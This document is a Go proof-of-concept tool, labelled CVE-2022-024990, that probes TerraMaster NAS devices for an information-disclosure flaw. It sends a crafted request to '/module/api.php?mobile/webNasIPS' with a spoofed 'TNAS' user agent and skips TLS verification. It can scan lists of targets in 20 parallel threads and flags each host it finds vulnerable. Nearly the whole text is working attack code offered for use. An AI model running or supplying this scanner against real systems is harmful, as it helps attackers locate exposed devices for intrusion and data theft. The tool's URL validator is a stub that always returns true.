README.md
Rendering markdown...
package main
import (
"bufio"
"bytes"
"crypto/tls"
"fmt"
"github.com/urfave/cli"
"net/http"
"os"
"strings"
"time"
)
var (
tr = &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client = &http.Client{Transport: tr, Timeout: 3 * time.Second}
)
func poc(url string) string {
var ret string
if invaildUrl(url) {
testUrl := url
if strings.HasSuffix(url, "/") {
testUrl += "module/api.php?mobile/webNasIPS"
} else {
testUrl += "/module/api.php?mobile/webNasIPS"
}
req, err := http.NewRequest("GET", testUrl, nil)
req.Header.Set("User-Agent", "TNAS")
resp, err := client.Do(req)
ret = url
if err == nil {
defer resp.Body.Close()
buf := new(bytes.Buffer)
buf.ReadFrom(resp.Body)
if strings.Contains(buf.String(), "webNasIPS successful") {
ret = url + "发现漏洞"
}
}
} else {
ret = url + "地址错误"
}
return ret
}
func invaildUrl(url string) bool {
return true
}
func readFile(path string, chanUrls chan string) {
file, err := os.Open(path)
if err != nil {
fmt.Println("读取文件失败!")
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := scanner.Text()
chanUrls <- line
}
close(chanUrls)
}
func main() {
cli.AppHelpTemplate = `NAME:
{{.Name}} - {{.Usage}}
VERSION:
{{.Version}}
OPTIONS:
{{range .VisibleFlags}}{{.}}
{{end}}
`
app := cli.NewApp()
app.Name = "CVE-2022-024990 POC"
app.Version = "1.0.0 Powered by ... 因为太菜所以没id,淦"
app.Usage = "莽就完了"
//app.UsageText = "Windows:CVE-2022-024990.exe -u http://xxx.com\n\tLinux:./CVE-2022-024990 -u http://xxx.com"
app.Flags = []cli.Flag{
cli.StringFlag{
Name: "url,u",
Usage: "set a target url",
},
cli.StringFlag{
Name: "file,f",
Usage: "set a target file",
},
cli.IntFlag{
Name: "thread,t",
Value: 20,
Usage: "set num of thread",
},
}
app.Action = func(c *cli.Context) {
url := c.String("url")
path := c.String("file")
thread := c.Int("thread")
//错误参数
if url != "" && path != "" {
fmt.Println("这是二选一,你不能全都要^.^")
}
//对单个url测试
if url != "" && path == "" {
fmt.Println(poc(url))
}
//对文件测试
if url == "" && path != "" {
sTime := time.Now()
chanUrls := make(chan string)
chanExit := make(chan bool, thread)
chanRet := make(chan string)
go readFile(path, chanUrls)
for i := 0; i < thread; i++ {
go func() {
for {
url, ok := <-chanUrls
if !ok {
break
}
ret := poc(url)
chanRet <- ret
}
chanExit <- true
}()
}
go func() {
for i := 0; i < thread; i++ {
<-chanExit
}
close(chanRet)
}()
for {
res, ok := <-chanRet
if !ok {
break
}
fmt.Println(res)
}
cost := time.Since(sTime)
fmt.Printf("本次扫描花费时间%.2f秒", cost.Seconds())
}
}
app.Run(os.Args)
}